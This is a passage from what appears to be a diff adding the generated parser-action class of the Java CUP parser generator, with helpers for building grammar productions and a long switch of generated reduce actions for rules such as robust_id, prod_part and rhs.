hand side */ + protected void new_rhs() {rhs_pos = 0; } + + /** add a new right hand side part */ + protected void add_rhs_part(production_part part) throws java.lang.Exception + { + if (rhs_pos >= MAX_RHS) + throw new Exception("Internal Error: Productions limited to " + + MAX_RHS + " symbols and actions"); + + rhs_parts[rhs_pos] = part; + rhs_pos++; + } + + /** string to build up multiple part names */ + protected String multipart_name = new String(); + + /** append a new name segment to the accumulated multipart name */ + protected void append_multipart(String name) + { + String dot = ""; + + /* if we aren't just starting out, put on a dot */ + if (multipart_name.length() != 0) dot = "."; + + multipart_name = multipart_name.concat(dot + name); + } + + /** table of declared symbols -- contains production parts indexed by name */ + protected Hashtable symbols = new Hashtable(); + + /** table of just non terminals -- contains non_terminals indexed by name */ + protected Hashtable non_terms = new Hashtable(); + + /** declared start non_terminal */ + protected non_terminal start_nt = null; + + /** left hand side non terminal of the current production */ + protected non_terminal lhs_nt; + + /** Current precedence number */ + int _cur_prec = 0; + + /** Current precedence side */ + int _cur_side = assoc.no_prec; + + /** update the precedences we are declaring */ + protected void update_precedence(int p) { + _cur_side = p; + _cur_prec++; + } + /** add relevant data to terminals */ + protected void add_precedence(String term) { + if (term == null) { + System.err.println("Unable to add precedence to nonexistent terminal"); + } else { + symbol_part sp = (symbol_part)symbols.get(term); + if (sp == null) { + System.err.println("Could find terminal " + term + " while declaring precedence"); + } else { + java_cup.symbol sym = sp.the_symbol(); + if (sym instanceof terminal) + ((terminal)sym).set_precedence(_cur_side, _cur_prec); + else System.err.println("Precedence declaration: Can't find terminal " + term); + } + } + } + + private final parser parser; + + /** Constructor */ + CUP$parser$actions(parser parser) { + this.parser = parser; + } + + /** Method with the actual generated action code. */ + public final java_cup.runtime.Symbol CUP$parser$do_action( + int CUP$parser$act_num, + java_cup.runtime.lr_parser CUP$parser$parser, + java.util.Stack CUP$parser$stack, + int CUP$parser$top) + throws java.lang.Exception + { + /* Symbol object for return from actions */ + java_cup.runtime.Symbol CUP$parser$result; + + /* select the action based on the action number */ + switch (CUP$parser$act_num) + { + /*. . . . . . . . . . . . . . . . . . . .*/ + case 106: // empty ::= + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(29/*empty*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 105: // opt_semi ::= SEMI + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(7/*opt_semi*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 104: // opt_semi ::= + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(7/*opt_semi*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 103: // non_terminal ::= NONTERMINAL + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(8/*non_terminal*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 102: // non_terminal ::= NON TERMINAL + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(8/*non_terminal*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 101: // robust_id ::= error + { + String RESULT = null; + + lexer.emit_error("Illegal use of reserved word"); + RESULT="ILLEGAL"; + + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 100: // robust_id ::= NONASSOC + { + String RESULT = null; + RESULT = "nonassoc"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 99: // robust_id ::= RIGHT + { + String RESULT = null; + RESULT = "right"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 98: // robust_id ::= LEFT + { + String RESULT = null; + RESULT = "left"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 97: // robust_id ::= PRECEDENCE + { + String RESULT = null; + RESULT = "precedence"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 96: // robust_id ::= START + { + String RESULT = null; + RESULT = "start"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 95: // robust_id ::= WITH + { + String RESULT = null; + RESULT = "with"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 94: // robust_id ::= SCAN + { + String RESULT = null; + RESULT = "scan"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 93: // robust_id ::= INIT + { + String RESULT = null; + RESULT = "init"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 92: // robust_id ::= NONTERMINAL + { + String RESULT = null; + RESULT = "nonterminal"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 91: // robust_id ::= NON + { + String RESULT = null; + RESULT = "non"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 90: // robust_id ::= TERMINAL + { + String RESULT = null; + RESULT = "terminal"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 89: // robust_id ::= PARSER + { + String RESULT = null; + RESULT = "parser"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 88: // robust_id ::= ACTION + { + String RESULT = null; + RESULT = "action"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 87: // robust_id ::= CODE + { + String RESULT = null; + RESULT = "code"; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 86: // robust_id ::= ID + { + String RESULT = null; + int the_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int the_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String the_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = the_id; + CUP$parser$result = new java_cup.runtime.Symbol(42/*robust_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 85: // label_id ::= robust_id + { + String RESULT = null; + int the_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int the_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String the_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = the_id; + CUP$parser$result = new java_cup.runtime.Symbol(38/*label_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 84: // symbol_id ::= error + { + String RESULT = null; + + lexer.emit_error("Illegal use of reserved word"); + RESULT="ILLEGAL"; + + CUP$parser$result = new java_cup.runtime.Symbol(37/*symbol_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 83: // symbol_id ::= ID + { + String RESULT = null; + int the_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int the_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String the_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = the_id; + CUP$parser$result = new java_cup.runtime.Symbol(37/*symbol_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 82: // nt_id ::= error + { + String RESULT = null; + + lexer.emit_error("Illegal use of reserved word"); + RESULT="ILLEGAL"; + + CUP$parser$result = new java_cup.runtime.Symbol(36/*nt_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 81: // nt_id ::= ID + { + String RESULT = null; + int the_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int the_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String the_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = the_id; + CUP$parser$result = new java_cup.runtime.Symbol(36/*nt_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 80: // new_non_term_id ::= ID + { + Object RESULT = null; + int non_term_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int non_term_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String non_term_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + /* see if this non terminal has been declared before */ + if (symbols.get(non_term_id) != null) + { + /* issue a message */ + lexer.emit_error( "java_cup.runtime.Symbol \"" + non_term_id + + "\" has already been declared"); + } + else + { + if (multipart_name.equals("")) { + append_multipart("Object"); + } + /* build the non terminal object */ + non_terminal this_nt = + new non_terminal(non_term_id, multipart_name); + + /* put it in the non_terms table */ + non_terms.put(non_term_id, this_nt); + + /* build a production_part and put it in the symbols table */ + symbols.put(non_term_id, new symbol_part(this_nt)); + } + + CUP$parser$result = new java_cup.runtime.Symbol(26/*new_non_term_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 79: // new_term_id ::= ID + { + Object RESULT = null; + int term_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int term_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String term_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + /* see if this terminal has been declared before */ + if (symbols.get(term_id) != null) + { + /* issue a message */ + lexer.emit_error("java_cup.runtime.Symbol \"" + term_id + + "\" has already been declared"); + } + else + { + /* if no type declared, declare one */ + if (multipart_name.equals("")) { + append_multipart("Object"); + } + /* build a production_part and put it in the table */ + symbols.put(term_id, + new symbol_part(new terminal(term_id, multipart_name))); + } + + CUP$parser$result = new java_cup.runtime.Symbol(25/*new_term_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 78: // type_id ::= type_id LBRACK RBRACK + { + Object RESULT = null; + multipart_name = multipart_name.concat("[]"); + CUP$parser$result = new java_cup.runtime.Symbol(19/*type_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 77: // type_id ::= multipart_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(19/*type_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 76: // import_id ::= multipart_id + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(15/*import_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 75: // import_id ::= multipart_id DOT STAR + { + Object RESULT = null; + append_multipart("*"); + CUP$parser$result = new java_cup.runtime.Symbol(15/*import_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 74: // multipart_id ::= robust_id + { + Object RESULT = null; + int an_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int an_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String an_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + append_multipart(an_id); + CUP$parser$result = new java_cup.runtime.Symbol(13/*multipart_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 73: // multipart_id ::= multipart_id DOT robust_id + { + Object RESULT = null; + int another_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int another_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String another_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + append_multipart(another_id); + CUP$parser$result = new java_cup.runtime.Symbol(13/*multipart_id*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 72: // opt_label ::= empty + { + String RESULT = null; + RESULT = null; + CUP$parser$result = new java_cup.runtime.Symbol(39/*opt_label*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 71: // opt_label ::= COLON label_id + { + String RESULT = null; + int labidleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int labidright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String labid = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = labid; + CUP$parser$result = new java_cup.runtime.Symbol(39/*opt_label*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 70: // prod_part ::= CODE_STRING + { + Object RESULT = null; + int code_strleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int code_strright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String code_str = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + /* add a new production part */ + add_rhs_part(new action_part(code_str)); + + CUP$parser$result = new java_cup.runtime.Symbol(24/*prod_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 69: // prod_part ::= symbol_id opt_label + { + Object RESULT = null; + int symidleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int symidright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + String symid = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int labidleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int labidright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String labid = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + /* try to look up the id */ + production_part symb = (production_part)symbols.get(symid); + + /* if that fails, symbol is undeclared */ + if (symb == null) + { + if (lexer.error_count == 0) + lexer.emit_error("java_cup.runtime.Symbol \"" + symid + + "\" has not been declared"); + } + else + { + /* add a labeled production part */ + add_rhs_part(add_lab(symb, labid)); + } + + CUP$parser$result = new java_cup.runtime.Symbol(24/*prod_part*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 68: // prod_part_list ::= empty + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(23/*prod_part_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 67: // prod_part_list ::= prod_part_list prod_part + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(23/*prod_part_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 66: // rhs ::= prod_part_list + { + Object RESULT = null; + + if (lhs_nt != null) + { + /* build the production */ + production p = new production(lhs_nt, rhs_parts, rhs_pos); + + /* if we have no start non-terminal declared and this is + the first production, make its lhs nt the start_nt + and build a special start production for it. */ + if (start_nt == null) + { + start_nt = lhs_nt; + + /* build a special start production */ + new_rhs(); + add_rhs_part(add_lab(new symbol_part(start_nt),"start_val")); + add_rhs_part(new symbol_part(terminal.EOF)); + add_rhs_part(new action_part("RESULT = start_val;")); + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, rhs_pos); + + new_rhs(); + } + } + + /* reset the rhs accumulation in any case */ + new_rhs(); + + CUP$parser$result = new java_cup.runtime.Symbol(28/*rhs*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 65: // rhs ::= prod_part_list PERCENT_PREC term_id + { + Object RESULT = null; + int term_nameleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int term_nameright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + String term_name = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + java_cup.symbol sym = null; + if (lhs_nt != null) + { + /* Find the precedence symbol */ + if (term_name == null) { + System.err.println("No terminal for contextual precedence"); + sym = null; + } else { + sym = ((symbol_part)symbols.get(term_name)).the_symbol(); + } + /* build the production */ + production p; + if ((sym!=null) && (sym instanceof terminal)) { + p = new production(lhs_nt, rhs_parts, rhs_pos, + ((terminal)sym).precedence_num(), + ((terminal)sym).precedence_side()); + ((symbol_part)symbols.get(term_name)).the_symbol().note_use(); + } else { + System.err.println("Invalid terminal " + term_name + + " for contextual precedence assignment"); + p = new production(lhs_nt, rhs_parts, rhs_pos); + } + + /* if we have no start non-terminal declared and this is + the first production, make its lhs nt the start_nt + and build a special start production for it. */ + if (start_nt == null) + { + start_nt = lhs_nt; + + /* build a special start production */ + new_rhs(); + add_rhs_part(add_lab(new symbol_part(start_nt),"start_val")); + add_rhs_part(new symbol_part(terminal.EOF)); + add_rhs_part(new action_part("RESULT = start_val;")); + if ((sym!=null) && (sym instanceof terminal)) { + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, + rhs_pos, ((terminal)sym).precedence_num(), + ((terminal)sym).precedence_side()); + } else { + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, rhs_pos); + } + new_rhs(); + } + } + + /* reset the rhs accumulation in any case */ + new_rhs(); + + CUP$parser$result = new java_cup.runtime.Symbol(28/*rhs*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 64: // rhs_list ::= rhs + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(27/*rhs_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 63: // rhs_list ::= rhs_list BAR rhs + { + Object RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(27/*rhs_list*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 62: // production ::= error NT$13 SEMI + { + Object RESULT = null; + // propagate RESULT from NT$13 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(22/*production*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 61: // NT$13 ::= + { + Object RESULT = null; + lexer.emit_error("Syntax Error"); + CUP$parser$result = new java_cup.runtime.Symbol(56/*NT$13*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 60: // production ::= nt_id NT$11 COLON_COLON_EQUALS NT$12 rhs_list SEMI + { + Object RESULT = null; + // propagate RESULT from NT$11 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-4)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-4)).value; + // propagate RESULT from NT$12 + if ( ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value != null ) + RESULT = (Object) ((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int lhs_idleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-5)).left; + int lhs_idright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-5)).right; + String lhs_id = (String)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-5)).value; + + CUP$parser$result = new java_cup.runtime.Symbol(22/*production*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-5)).left, 